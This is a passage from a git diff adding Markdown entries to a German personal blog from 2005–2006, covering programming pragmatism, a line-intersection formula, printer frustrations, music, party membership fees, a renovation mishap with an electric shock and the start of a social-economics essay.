ertappe mich mit roten Ohren, wie platt doch fuer Aussenstehende diese ewigen [Pimmelfechtereien](http://www.pimmelfechter.de/) um solch lapidare Probleme, ausgetragen mit laecherlichen Halbwahrheiten, klingen +muessen. + +Generell scheint mir Pragmatismus ein unterschaetztes Gut zu werden. Ich erlebe, dass noch bevor ein Problem vollstaendig formuliert wurde, die +Programmiersprache festgelegt wird, Paradigmen formuliert werden, die dringend einzuhalten sind und man schon vier Meinungen Umstehender +aufgedraengt bekommt, warum es aus diesem oder jenen Grund unsicheren ineffizienten oder zumindest unschoenen Code ergeben muesste, ganz gewiss +aber welcher in der grundfalschen Programmiersprache. Mir ist immer staerker bewusst geworden, dass Software in allererster Linie ein +gegebenes Problem loesen soll. Sie darf nicht zum Selbstzweck verkommen, solange es nicht ausdruecklich aus kuenstlerischen Gruenden so gewollt +ist. Und so habe ich mich sogar dazu hinreissen lassen, ohne, dass es mir auch nur im geringsten peinlich ist, einem [Kumpel](http://hukl.geekheim.de) bei [seinem Problem +in PHP](http://hukl.geekheim.de/archives/2005/04/15/test-2/) zu helfen, obwohl ich weder in Perl im Allgemeinen, noch dem Blogsystem im Besonderen, bewandert bin. Ich habe es geloest, unschoen, +gewiss, aber effizienter, als die Software, aus der ich geklaut habe, und mehr noch: das Programm tut, was Software tun soll: es erfuellt seinen Zweck. - Aber +genug generdet fuer den Moment. + +Die anderen Vorlesungen beschaeftigen sich mit mobiler Kommunikation, (von ARP ueber GSM bis VoIP alles dabei), Approximativen Algorithmen, +Signalverarbeitung und Geschichte der Kryptographie. Mopedfahrn macht frueh morgens bei Temperaturen nahe dem Gefrierpunkt noch weniger Laune, +als tagsueber im Winter, in dem man ja nun weiss, woran man ist. Zumindest wird man an den Ampeln mit strahlendster Fruehlingssonne belohnt. Fruehling rockt +DOCH irgendwie. diff --git a/blog/2005/Rekreation.md b/blog/2005/Rekreation.md new file mode 100644 index 0000000..4b2ee7e --- /dev/null +++ b/blog/2005/Rekreation.md @@ -0,0 +1,9 @@ + + +Es wird ein heisser Sommer werden. Neben dem [Serverumzug](https://erdgeist.org/stats/blog/#2005_08_05_03_03_KnastHorst) und meinem Umzug +nach Prenzlauer Berg (Ja!, ich kehre dem Friedrichshain den Ruecken), werde ich noch ein wenig [Waldbrandgucken](http://www.foodsiteoftheday.com/portugal%20algarve2.jpg) fahren. Los gehts +direkt nach dem [Gig in der C-Base](http://b-oss.in-berlin.de/coredump/OpenStage) fruehs um +6 von Schoenefeld. Ich melde mich, wenn die Gefahr vorrueber ist. diff --git a/blog/2005/Schnitte.md b/blog/2005/Schnitte.md new file mode 100644 index 0000000..1e4b1f7 --- /dev/null +++ b/blog/2005/Schnitte.md @@ -0,0 +1,16 @@ + + +Im Matheunterricht war das mit dem Schnittpunkte berechnen immer total popelich. Man hat schnell mal so Anstiege berechnet, oder abgeschaetzt, dass diese oder jene Gerade weil senkrecht ja einfach nur Einsetzen in die +Geradengleichung der Anderen bedeutet. + +Nunja. Im wahren Leben ;) hilft einem das Augenmass nicht. Gegeben sind 4 Punkte (x0|y0), (x1|y1), (x2|y2), (x3|y3). Diese bilden die Geraden A(P0,P1) und B(P2,P3). Bestimme den Schnittpunkt S(sx|sy) der Geraden. Loesung: +
+n1 = y0*(x2-x3)+y2*(x3-x0)+y3*(x0-x2)
+n2 = (y1-y0)*(x3-x2)+(y3-y2)*(x0-x1)
+sx = x0 + n1*(x1-x0)/n2
+sy = y0 + n1*(y1-y0)/n2
+
+Hierbei ist n2 gleich ne Determinante: ist sie kleiner null, ist A->B eine Linkskurve, ist sie gleich null, sollte man nicht dividieren, weil die Geraden parallel sind und der Taschenrechner "E" ausgeben wuerde. Ist n2 groesser null, hat man von A->B eine Rechtskurve. diff --git a/blog/2005/Signale.md b/blog/2005/Signale.md new file mode 100644 index 0000000..46b6cf5 --- /dev/null +++ b/blog/2005/Signale.md @@ -0,0 +1,8 @@ + + +Ein Gebiet der Informatik, um das ich mich bisher rumgeschlaengelt habe, ist Signalverarbeitung. Ich hatte eine naive Vorstellung davon, wie das mit dem Sampeln so funktioniert, hab grob an den Knoepfchen von Softwareequaliziern herumgespielt und beobachtet, was passiert. Aber in der [Vorlesung Grundlagen der Signalverarbeitung](http://www.informatik.hu-berlin.de/Institut/struktur/signalverarbeitung/lehre/sv0.htm) an der Uni hatte ich mich mit einer vier durchgemogelt, weil ich wohl spannendere Dinge zu tun hatte. Was ich eigentlich schade fand, weil Prof. Meffert eine angenehme Art hat, Dinge zu erklaeren. + +Da mich das Thema aber eigentlich doch interessiert, habe ich mir [ihr Buch](http://www.amazon.de/exec/obidos/ASIN/3827370655/qid%3D1117120744/028-7833638-9212524) geshoppt und ehrlich und ernsthaftig versucht, den Inhalt zu verstehen. Leider ist das ohne die begleitende Vorlesung gar nicht so leicht. Gluecklicherweise ist mir bei der Recherche nach einigen Techniken der Signalverarbeitung [dieses coole, kostenlose und verstaendliche Buch](http://www.dspguide.com/pdfbook.htm) in die Haende gefallen. Mit vielen vielen Bildern, fuer Techies und nicht fuer Mathematiker gedacht, einfuehlsam erklaert. Nun kann ich das mit der Fouriertransformation endlich. diff --git a/blog/2005/Spam.md b/blog/2005/Spam.md new file mode 100644 index 0000000..44a9c42 --- /dev/null +++ b/blog/2005/Spam.md @@ -0,0 +1,11 @@ + + +Kommen, sie! Kommen sie, kaufen sie! Eintrittskarten fuer [die fruehste Band der +Welt](http://pumpanickle.de/), die auf ihrer Welttourne in Berlin gastiert, genauer gesagt: am Montag dem 19.12.2005 in [der Junction Bar in Berlin](http://www.junction-bar.de/junction/index1.htm). Es gibt dutzende neuer Lieder, +Freibier (fuer die Band, wenn ihr alle reichlich erscheint), lustige Raetseleinlagen und eine echt knuddelige +Vorband! + +Los geht es um 21ooUhr, gehopst wird, bis alle Sohlen durchsind. Ich freu mich auf euch! diff --git a/blog/2005/Tintenpisser.md b/blog/2005/Tintenpisser.md new file mode 100644 index 0000000..2c1eca8 --- /dev/null +++ b/blog/2005/Tintenpisser.md @@ -0,0 +1,18 @@ + + +Ich bin jetzt endgueltig offiziell und unumkehrbar sauer und verspuere Hassgefuehle +gegenueber dem Druckerhersteller [hp](http://www.hp.com/). Dass sie mich mit +fiesen Tricks dazu zwingen wollen, ihre eigenen Patronen zu kaufen, ist zwar nicht pc, +kann ich aber ob der stark subventionierten Drucker noch ein Stueck weit nachvollziehen. + +Dass mich aber mein Drucker (ein hp psc 1110), seit die schwarze Patrone das aufgedruckte +Verfallsdatum ueberschritten hat, mit seltsamen "Die Druckerpatrone kann sich nicht frei +bewegen." oder "Druckpatrone pruefen"-Meldungen in Tateinheit mit Seitendruckzeiten von +einer halben Stunde dazu noetigen moechte, selbige trotz halbem Tintenfuellstand zu ersetzen, +ist schlicht inakzeptabel. HP ist fuer mich in jeder Hinsicht gestorben. Ich werde mich +jetzt auf die Suche nach einem Farblaserdrucker machen. Hat da jemand Hinweise auf einen +guenstigen, moeglichst nicht von HP? Mir wurde bisher [jener +hier](http://www3.primustronix.de/shop/info.asp?product_group=270&service_group=&fct=&product_code=DRL479&search_str=&sid=3799129664) empfohlen, Meinungen? diff --git a/blog/2005/Trendsetter.md b/blog/2005/Trendsetter.md new file mode 100644 index 0000000..6e60fda --- /dev/null +++ b/blog/2005/Trendsetter.md @@ -0,0 +1,54 @@ + + +Wie jeder [bedeutende Teenager](http://avaxhome.ru/music/2005/07/30/video_the_offspring_pretty_fly_for_a_white_guy_dvd_rip/) der +[etwas auf sich haelt](http://www.monasharma.de/tv/tv_bilder/kls/ots_auto.gif), war ich schon frueh vom Gefuehl geplagt, alle aufkommenden Trends +deutlich eher als alle anderen wahrzunehmen. Man findet eine kleine Lokalband, stellt sich als (fast) einziger ins Konzert und ein Jahr spaeter werden sie in der +Bravo gefeatured. Am Ende muss man sich noch rechtfertigen, dass man doch eher Mitbegruender des Hypes war und nicht schlicht Mitlaeufer. Daneben gibt es +natuerlich immer noch Acts, die klein geblieben sind und man freut sich, wenn man ein Plakat von denen sieht und traegt dann brav weiter seine 3EUR +Eintritt zum Konzert, statt 15EUR bei den "shooting stars". + +Mir erging es so, dass ich mich dank eines Kumpels, der schon auch fuer damalige Verhaeltnisse kauzig und nerdig war, auf einer der ersten Loveparades +herumtrieb. Ich war damals 12 oder 13, [meine musikalische Evolution](http://www.anthroposophische-musiktherapie.de/) [noch nicht so weit vorangeschritten](http://www2.netdoktor.de/feature/unmusikalische_menschen.htm) und ich fand furchtbar spannend, was dort passierte, +wenn ich auch nicht [allzuviel damit anfangen konnte](http://www.klassikerne.vmk.dk/dansktekst/musikvaerker/beethoven/b1108144.html) und verzweifelt +auf dem [MED-Tracker](http://www.medsoundstudio.com/amigawhat.htm) meines Amigas versuchte, "irgendwie Techno" nachzumachen. Der Jugend von heute +sagen natuerlich [Dr. Motte](http://images.google.com/images?q=loveparade) und [Marusha](http://www.danceartistinfo.com/marusha.htm) nichts +mehr, als jedoch damals daraus Popkultur wurde, war mein elitaeres Bewusstsein [zum ersten Mal erschuettert](http://www.seelsorge.net/). + +Es ging weiter mit einer kurzen, heftigen [Rammstein-Phase](http://www.parax.de/showthread.php?t=419), die [Herzeleid](http://www.aventis.at/indikationsgebiete/herz-kreislauf.php) war ein [Geheimtip](http://www.deingedicht.de/Geburtstag/Spiele/(gs005)Stille%20Post.htm), heutzutage kommen [Spielfilme](http://www.imdb.com/title/tt0295701/) mit [komplettem Soundtrack](http://allerlei-strickerei.de/index.php?id=534) von den Jungs +raus! Die neue [Amipunk-Welle](http://www.sonicshop.de/to/Oropax.htm), alles schon vor seiner Zeit gehoert, "1039 / Smoothed Out Slappy Hours". Letzte +Wochen haben die den MTV [Europa Music Award](http://photos1.blogger.com/img/125/947/1024/EMA.2.jpg) bekommen. [Funny van Dannen](http://www.med1.de/Forum/Sexualitaet/Techniken///175075/), beim Kuscheln mit der Freundin gehoert, gleich als die "Clubsongs" rauskam. +Noch bei [Kuttner entdeckt](http://www.bos-sprechfunk.de/), heute stehen [Hosen-Fans](http://www.opel-gang-donau-ries.de/) auf den +Konzerten und die Papis groehlen "Saufen, Saufen, Saufen" am Herrentag. Mit den [Special Guests](http://www.contortionhomepage.com/ska.html) in der +"Wabe" foermlich gekuschelt, nun machen sie schnell mal [das Kesselhaus](http://www.kulturbrauerei-berlin.de/) voll. + +Aber jetzt! Bevor er [in den Mainstream](http://kundendienst.orf.at/orfstars/moik.html) rutscht, sozusagen als Beweis, hier mit Datum und spaeter dann +in web.archive.org... + +An der Stelle muss ich wohl **unbedingt** den Einschub bringen, die Netz-Welt vergooglet in letzter Zeit so unglaublich: Statt in den Duden zu +schauen, wirft nerd Googlefight an, oder laesst sich per "Did you mean:" eine Schreibweise empfehlen, statt in den Brockhaus zu schauen, informiert nerd sich in +Wikipedia und statt seines Nachrichtenarchivs bemueht er/sie/es web.archive.org. Diese Beqeumlichkeit birgt seine Gefahren. Waehrend ich bei Duden vs. +Googlefight eventuell das Argument durchgehen liesse, dass auch der Duden nur ein Spiegel der Sprache sein soll und ein Grossteil der geschriebenen Sprache +inzwischen im Netz indiziert ist (meine Praeferenz waere trotzdem der gedruckte Duden), hat man beim Nachschlagewerk und beim Nachrichtenarchiv ploetzlich das +1984-Problem. Die Informationen bezieht man bequem aus einer oder mehreren Quellen, die nicht unter der eigenen Kontrolle stehen, deren Verfuegbarkeit nicht +immer gewaehrleistet ist und welche morgen nicht unbedingt genauso aussehen muessen wie heute. + +Andererseits ist auch der heutzutage gerichtszugelassene, notariell beglaubigte Ausdruck einer Webseite nicht das, was den Durchschnittsparanoiker beruhigt, +solange er nicht im eigenen Papierstapel steckt... aber ich schweife schon wieder ab. + +Also: bevor er in den Mainstream rutscht, wollte ich hier niederlegen, dass mir Filmmusik von [Danny Elfmann](http://imdb.com/name/nm0000384/) gewahr +ist, dass ich seine Art sehr mag, rasante komplexe orchestrale Stuecke zu duester/gothischen Tim Burton-Filmen (BeetleJuice, Edward mit den Scherenhaenden), zu +knallbunten/chaotischen Filmen wie Charly und die Schokoladenfabrik, Man in Black und, nicht zu vergessen, den Simpsons zu schreiben. Wie ich jetzt darauf komme? +Ich war gestern [Corpse Bride](http://imdb.com/title/tt0121164) gucken. Ziemlich kurz. Ziemlich kurzweilig. Netter Kinderfilm, coole Optik. Nur keine +8 EUR Wert. Der Score von Danny Elfmann, was mich zumindest beim Verlassen des Kino noch immer froehlich stimmte. + +Und natuerlich hat er auch Spuren in meiner Musiksozialisation hinterlassen, noch bevor ich ihn bewusst wahrgenommen hab. Deutlich von ihm beeinflusst ist [Catch that goblin](http://www.futurecrew.com/skaven/song_files/ctgoblin.s3m) von Skaven/Futurecrew oder hier die Version fuer [Leser mit weniger fortgeschrittenen Abspielprogrammen](http://www.futurecrew.com/skaven/song_files/mp3/catch_that_goblin!!.mp3). Skaven hat erst neulich +noch einen [Nachfolger](http://www.futurecrew.com/skaven/song_files/The_Goblin_Returns_final.ogg) geschrieben, hat auch was, aber ist viel poppiger. +Und [gibt er auch offen zu, wo er es geklaut hat](http://www.futurecrew.com/skaven/faq.html). Hab ich nach der assembly 1995 auf diversen Compos auf +allen moeglichen Demoparties gewinnen hoeren. + +Fuer die werte Leserschaft besteht nun die Moeglichkeit, eine "shooting star"-Band gekannt zu haben, bevor sie gross werden. Der Name ist [Pumpanickle](http://www.pumpanickle.de/) und sie spielen am 19. 12. 2005 in der Junction Bar in Berlin. Grossartige Musik! ;) + +P.S.: Bei der Linkrecherche fuer die Eintraege kommen immer wieder wirklich wirklich abstruse Seiten zusammen, die zwar nicht zum Thema passen, ich [trotzdem nicht vorenthalten](http://www.nikolaus-lenau-schule.at/hort/bild03.html) moechte. diff --git a/blog/2005/Unparteiisch.md b/blog/2005/Unparteiisch.md new file mode 100644 index 0000000..7a9cdbf --- /dev/null +++ b/blog/2005/Unparteiisch.md @@ -0,0 +1,31 @@ + + +Ich selber bin kein Mitglied einer Partei, aber dachte schon immer darueber nach, was denn die Parteien ausser Bargeld im schwarzen Koffer und +Wahlkampfkostenrueckerstattung so einnehmen. Fuer die groesseren Parteien hier nun die Mitgliedbeitraege, die ein Durchschnittsverdiener (1000EUR Netto im Monat) +monatlich mindestens zu berappen hat. Ich persoenlich kenne viele, die freiwillig mehr bezahlen, andererseits haben viele Parteien auch Sozialregelungen. Dies +sollte sich im Mittel aber ausgleichen. + + + + + + + + + + + + + + + + + + + + + +
Partei/QuelleMindestbetrag
[SPD](https://www.partei.spd.de/servlet/PB/menu/1030368/index.html)8 EUR
[CDU](http://www.cdu.de/politikaz/35_6967.htm)5 EUR
[CSU](http://www.csu.de/eprise/main/CSU-Portal/CSUde/Display/Partei/mitglied_faq)4,16 EUR
[FDP](http://www.fdp-bundesverband.de/pdf/F-B-ORD.pdf)8 EUR
[PDS](http://sozialisten.de/partei/dokumente/beitragsrichtlinie/beitragsrichtlinie.pdf)20,60 EUR
[B90/Gruene](http://www.gruene-partei.de/cms/service/dok/78/78011.htm)10 EUR
[DVU](https://ssl.kundenserver.de/dddf-89-60-85-ssl.de/dvu.de/Mitgliedsantrag.pdf)3 EUR
[APPD](http://partei.appd.de/website/action/sub/home/index.php?skin=website_std)1 EUR
[NPD](http://www.npd.de/formular/form.php)wahrscheinlich 6,50 EUR (3,50 EUR - 10,50 EUR)
[PBC](http://pbc.de/service/antrag.htm)4,16 EUR
[REP](http://www.rep.de/index.aspx?ArticleID=e885f1a3-9d45-4b25-b1c1-3730015a2d66)6 EUR
[PASS](http://www.pass-berlin.de/satzung.htm#%A7%202%20(Beitr%E4ge))2,50 EUR
[Die Partei](http://www.die-partei.de/index.php?mode=content&content_id=23)0,83 EUR
[Bayernpartei](https://vchat.berlin.ccc.de/rd/29049)3 EUR
[SPASSPARTEI](http://klickrufmichanan.de/spasspartei/mitgliedwerden2.html)0,00083 EUR
[STATT](http://www.statt-partei.de/downloads/aufnahmeantrag.pdf)5 EUR
[Tierschutzpartei](http://www.tierschutzpartei.de/mitglied/aufnahmeantrag.html)2,66 EUR
[Die Violetten](http://www.die-violetten.de/area/antrag.php)3 EUR
diff --git a/blog/2005/Was_angerichtet.md b/blog/2005/Was_angerichtet.md new file mode 100644 index 0000000..75856b9 --- /dev/null +++ b/blog/2005/Was_angerichtet.md @@ -0,0 +1,18 @@ + + +[![](http://erdgeist.org/stats/blog/pics/Wetter.jpg)](https://erdgeist.org/stats/blog/pics/Wetter.jpg) +Oh backe, ich habe bei ein wenig Vanity-googling [entdeckt](http://www.google.de/search?q=erdgeist), dass sich geflissentlich +ueber grossartigen [deutschen Lesestoff](http://www.amazon.de/exec/obidos/ASIN/3423124008/) informieren wollende Schueler von meiner zynischen +Tagesdosis Erschriebenem zudroehnen lassen muessen.. + +Mal schaun, ob ich da mit einem gezielten Link zu [Erdgeist](http://gutenberg.spiegel.de/wedekind/erdgeist/erdgeist.htm) +wieder was gut machen kann. + +Heute bei geilem Wetter im Volkspark gehockt und ein wenig Seelen-Sonnen-Therapie probiert. Mal morgen mal sehen, obs was geworden ist. +[![](http://erdgeist.org/stats/blog/pics/Volkspark.jpg)](https://erdgeist.org/stats/blog/pics/Volkspark.jpg) + +Eben noch mit [Cryx](https://outpost.h3q.com/blog/) und [Tina](http://blog.resurgam.de/) dekadent beim Mexikaner getafelt, wo ich +schmerzlich meine EC-Karte vermisste, zum Glueck nur in der alten Hose verpeilt. diff --git a/blog/2005/Wedekind.md b/blog/2005/Wedekind.md new file mode 100644 index 0000000..fba8195 --- /dev/null +++ b/blog/2005/Wedekind.md @@ -0,0 +1,35 @@ + + +Oben genannter Autor hat zu erdgeist folgendes zu sagen: + +
Erdgeist + +Greife wacker nach der Sünde; + +Aus der Sünde wächst Genuß, + +Ach du gleichest einem Kinde, + +Dem man alles zeigen muß. + +Meide nicht die irdischen Schätze: + +Wo sie liegen, nimm sie mit. + +Hat die Welt doch nur Gesetze, + +Daß man sie mit Füßen tritt. + +Glücklich wer geschickt und heiter + +über frische Gräber hopst. + +Tanzend auf der Galgenleiter + +Hat sich keiner noch gemopst. + +
+([via NetZwerg](http://spaces.msn.com/members/netzwerg/Blog/cns!1pZCb7odPtZixkwLJ8Fxm3nw!526.entry)) diff --git a/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md b/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md new file mode 100644 index 0000000..47f51b0 --- /dev/null +++ b/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md @@ -0,0 +1,14 @@ + + +Die goldene Elektrikerregel lautet: "behandle jedes Kabel so, als ob dort Strom drauf waere". Macht total Sinn! Aber der Reihe nach. + +Den [Kaspar](http://kaspar.datenfreihafen.de/) werde ich ja demnaechst stolz meinen Mitbewohner nennen koennen. Eine raus aus der Wohnung, ein Neuer rein. Das Zimmer schreit foermlich nach Schaumtapete abreissen, Rohre streichen, Steckdosen neu verlegen. Ein Kabelstrang war in dem Zimmer mal nach einem Lichtbogengewitter abgebrannt und wurde von einer scheinbar sehr kompetenten Elektroklitsche durch eine ausserordentlich huebsche Ueberputzkabelkanalinstallation mit lose endender Luesterklemme ersetzt. Das alte Kabel hingegen wurde nicht entfernt, nur gekappt und im Putz versteckt haengen gelassen. Und nun ratet, wer das Kabel fand! + +Komisch, was einem dabei so durch den Kopf schiesst... man denkt so "hoffentlich ist es kein Atomstrom", kann sich nicht so recht bewegen, erinnert sich an [die Bundestagsplakatieraktion](http://www.de.indymedia.org/2002/07/26434.shtml), fragt hoeflich den neben einem stehenden Kaspar (von der natuerlich nicht isolierten Leiter hinab) um Hilfe, ueberlegt, wieviel [kW/h](http://morgenpost.berlin1.de/images/2005/10/02/wirtschaft/107499_scaleUp.jpg) man da jetzt verbrauchen wuerde, zappelt noch ein wenig und kann die Kabel nicht loslassen und aergert sich, dass die Sicherung nicht einfach geht, wie kurz zuvor beim Versuch, eine Gluehlampe in eine Fassung zu schrauben. + +Auf der ernsthaften Seite machte ich mir natuerlich meine Gedanken. Solche Kontrollverluste, die einen entmenschlichen, einfach nur eine ungesteuerte Huelle aus dem Koerper machen, machen mich an die aktuelle Folterdiskussion denken. Ich habe einen einen leisen Hauch von Ahnung bekommen, wie es sich als Epileptiker lebt und dann auch erlebt, wie es ist, wenn Leute sich ernsthaft Sorgen um einen machen (danke Frank). + +Als Souvenir von dem Trip habe ich erstmal lecker verschmokeltes Fleisch auf zwei Fingern mitgenommen und die Erfahrung, dass undokumentierte E-Installationen mit nur zwei Phasen fuer eine Wohnung gefaehrlich sind. Doktor "Raspberry Vodka" in nur in russisch beschriftet ist ein stets griffbereiter Hausarzt. Die Gitarre kann ich, entgegen aller Befuerchtungen, noch bedienen. Mein Herz ist nicht im Laufe des Abends flimmernd stehengeblieben. Allerdings habe ich mir die Frage gestellt, ob man sich wohl nur durch die Kraft der Muskeln des Arms selbigen brechen kann. Wenn alle Muskeln gleichzeitig unkoordiniert in alle Richtungen zucken... Naja, nein Ellenbogen hat auf jeden Fall bei der Aktion gelitten, ist angeschwollen und tut jetzt weh. Zumindest weiss Kaspar jetzt, wieviel Liebe in seinem (hoffentlich) bald fertig renovierten Zimmer steckt. diff --git a/blog/2006/Bei_genauerer_Betrachtung.md b/blog/2006/Bei_genauerer_Betrachtung.md new file mode 100644 index 0000000..10fddb3 --- /dev/null +++ b/blog/2006/Bei_genauerer_Betrachtung.md @@ -0,0 +1,6 @@ + + +... [ist Tim doch schon ziemlich cool.](http://tim.geekheim.de/2006/01/22/meinungsnderung/) Fehler zugeben rockt. diff --git a/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md b/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md new file mode 100644 index 0000000..8dcaedb --- /dev/null +++ b/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md @@ -0,0 +1,27 @@ + + +Automatische Uebersetzungen sind seit deren Aufkommen generell Quell der Freude bei humorvollen Menschen aller Art. Die eigene Ueberlegenheit ueber die Maschine +wird auf den Gebieten, auf denen sie noch waehrt, genuesslich zelebriert. Taiwanesische Gebrauchsanweisungen muessen fuer den Beweis herhalten, wie sehr uns das +Beherrschen des kulturellen Kontexts von Computern abhebt, deren Genauigkeit, Geschwindigkeit und Ausdauer mensch sonst nicht gewachsen ist. + +Und nun hat es heute auch mich erwischt. Beim Bands hinterhergooglen fiel mir diese wunderschoene automatische Uebersetzung in die Haende, die mich darauf +brachte, wie man auf niveauvolle Art Ueberlegenheit zelebrieren kann. Da keine einzige Zeile von +
+Dieses erlischt zur einer I Liebe + +Dieses erlischt zum einem I nach links nach + +Eine einfache Stütze - meine Zeit besetzen + +Dieses erlischt zur einer I Liebe + +
+ +dem Original aehnelt, ist es doch sicher eine Herausforderung an die sprachliche Intelligenz, aus den Uebersetzungen das Lied zu erraten. Die Uebersetzung des +Beispiels findet man [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fr%2Frem%2Fthe-one-i-love%2Fprinterfriendly.html&lp=en_de). +Weitere Raetsel gibt es [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fm%2Fmetallica%2Fwhiskey-in-the-jar%2Fprinterfriendly.html&lp=en_de), +[hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fn%2Fnirvana%2Fsmells-like-teen-spirit%2Fprinterfriendly.html&lp=en_de) +und [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fs%2Fsimon-garfunkel%2Fthe-sound-of-silence%2Fprinterfriendly.html&lp=en_de). diff --git a/blog/2006/Drucke.md b/blog/2006/Drucke.md new file mode 100644 index 0000000..c665919 --- /dev/null +++ b/blog/2006/Drucke.md @@ -0,0 +1,12 @@ + + +Hab beim Stromern durch den lokalen Saturn wegen "wie billig ist _DAS_ denn?!" einen [HP LaserJet 1018](http://h10010.www1.hp.com/wwpc/us/en/sm/WF05a/18972-236251-236263-14638-f51-1814092.html?jumpid=reg_R1002_USEN) fuer sagenhafte 78EUR +geshoppt. Boeses Erwachen kam natuerlich zu hause: der Drucker laeuft nicht nur sprichwortlich nur unter Windows, sondern NUR unter Windows. So mit Firmaware +uebers USB-Interface in Raw auf den Drucker schreiben und einer PostScript-Rastersoftware, die auch nur unter Windows laeuft. Auch Versuche, den mittels [schwierige-Faelle-Framework foo2zjs](http://foo2zjs.rkkda.com/) anzusteuern, schlugen schwer fehl. Schade drum. + +Zweiter Versuch dann mit vorher Informieren: der guenstigste Netzwerk- und PostScript (sogar Level 3)-faehige Drucker am Markt ist im Moment der [Samsung ML-2571N](http://www.ayoo.de/details.php?ART=8864051&PID=13010). Ausgepackt, ans Netz gesteckt, DHCP-Adresse vermittelt, IP in den +Drucker-Dialog eingetragen, 120-Seitendokument gedruckt (naja die ersten 32 Seiten ;)... bin begeistert. Jetzt mal gucken, wie lange der haelt... macht aber +einen soliden Eindruck. Achja, Preis mit Versand: rund zwohundert Euro. Daumen: hoch diff --git a/blog/2006/Hirsch.md b/blog/2006/Hirsch.md new file mode 100644 index 0000000..e581fb2 --- /dev/null +++ b/blog/2006/Hirsch.md @@ -0,0 +1,6 @@ + + +Heute lecker Hirschbraten auf Knoedel und Apfelrotkohl im lokalen [Hausmannskostladen](http://www.moorsmagazine.com/images2/berlinesseneisbein.jpg) [Kartoffelkeller](http://web12.h1880.serverkompetenz.net/cms/kk/front_content.php?idcat=56) (uh man, welch heroisches Beispiel, wieso man bei der Webpraesenz weder am Design noch am Domainnamen sparen sollte)... Und dabei ist mir aufgefallen, dass man eigentlich sicher sein kann, nix aus [Massentierhaltung](http://www.spitze.duero.de/bilder/tierware/huehner02.jpg) zu vertilgen, wenn man [sich](http://www.sohns-wildlife.de/assets/images/SS006_Schnabeligel_2.JPG) [von](http://www.arikah.net/commons/en/5/55/Ornithorhynchidae-00.jpg) [aussergewoehnlichen](http://www.fv-berlin.de/pm_archiv/2004/fotos/nashorn.jpg) [Tierarten](http://www.w-meier.com/Storchenpaar%20im%20Nest,%20Petershagen-Joessen%202.jpg) [ernaehrt](http://erdgeist.org/fnord/news/grillkatze3.jpg). Mjam. diff --git a/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md b/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md new file mode 100644 index 0000000..034d5b6 --- /dev/null +++ b/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md @@ -0,0 +1,24 @@ + + +Ab und zu gehen mir komplexe Gedankengaege durch den Kopf, die mich erst ernsthaft ruhen lassen, wenn ich sie niedergeschrieben habe. Wenn sie dann fertig formuliert sind, weiss ich nicht, wohin damit. Da bietet sich doch mein Blog foermlich an. Wenn mich also jemand fragt, wieso ich es bedenklich finde, wenn Jugendliche wochenlang World of Warcraft spielen, warum Spam nicht einfach nur eine Annoyance ist, sondern die Gesellschaft erodiert und wieso auch in seltsamen amerikanischen Prozessen Fettleibiger gegen Nahrungsmittelkonzerne ein Koernchen Wahrheit steckt, wenn ich begruenden soll, warum die Gruenen einst links waren und nun konservativ sind, kann ich auf diese Gedanken verweisen. + +#### Humankapital in der Aufmerksamkeitsoekonomie + +Es faellt schwer, mit einem Kapitalisten zu diskutieren, der mit der leicht erfassbaren Groesse Geld ein maechtiges Werkzeug hat, seinen Erfolg zu messen, waehrend man selber nur mit weichen Groessen argumentieren kann. Alle Argumente, die man eigentlich mit gesundem Menschenverstand von allein erfassen sollte, muss man dabei in monetaere Ausdruecke abbilden. Man mag dies zynisch nennen – und ich fuer meinen Teil mache mir die Argumentation nicht unbedingt zu eigen – die nachfolgenden Ueberlegungen sollen der Versuch sein, das Humane, das Soziale in der sozialen Marktwirtschaft fuer Kapitalisten erfassbar zu machen. + +Das ewige Streben nach Kapital, nach privatem Kapital, um genau zu sein, führt zu einer Privatisierung oeffentlichen Guts. Privatisierung ist natuerlich gewollt: ein Stueck Land abstecken, sein Haus drauf bauen, ein paar Tiere halten, Werkstatt oder Buero im Erdgeschoss – mensch gab der Gesellschaft im Optimum mehr zurueck, als er ihr wegnahm. + +Das Ende der Zeit, in der ungenutzte oeffentliche Ressourcen reichlich vorhanden waren, brachte jedoch den Bedarf einer genauen Quantisierung der privatisierten Gueter. + +So kann Zeit, die ein Buerger fuer Erwerbsarbeit aufbringt, nicht mehr dem gesellschaftlichen Leben, Kunst und Kultur, Politik und Sozialem gewidmet werden. Den Gewinn aus der Privatisierung der Arbeitskraft teilen sich Arbeitgeber- und nehmer in marktwirtschaftlich ausgehandeltem Verhaeltnis. Die privatisierte Zeit seiner Buerger verkauft die Gesellschaft in Form von Steuern auf das Einkommen. Diese Steuern erkaufen nun anderen Buergern, die nicht aus kapitalistischer Erwerbsarbeit leben, Gueter zurueck, die sie zum Ueberleben und zur Teilnahme an der Gesellschaft brauchen. Darueber hinaus geben diese gesellschaftsfinanzierten Buerger – als Lehrende, Kuenstler, Polizisten – der Gesellschaft Gueter wie Bildung, Kultur und Sicherheit zurueck. + +Nun gibt es – neben Grund und Arbeitskraft – auch weniger offensichtlichen Besitz einer Gesellschaft. Bildung, Kultur und Sicherheit wurden bereits erwaehnt und lassen sich mit ein wenig Phantasie auch wieder als direkt kapitalistisch verwert- und privatisierbare Groessen erfassen. Unverschmutzte Umwelt wurde als gesellschaftlicher Wert verstanden, dessen Verbrauch der Gesellschaft – bespielsweise in Form von Emissionszertifikaten – zurueckerstattet werden muss. + +Es gibt gesellschaftliche Werte, die nicht direkt privatisiert werden. Man denke an Leben ohne Angst. Fuer den Absatz von Waren und 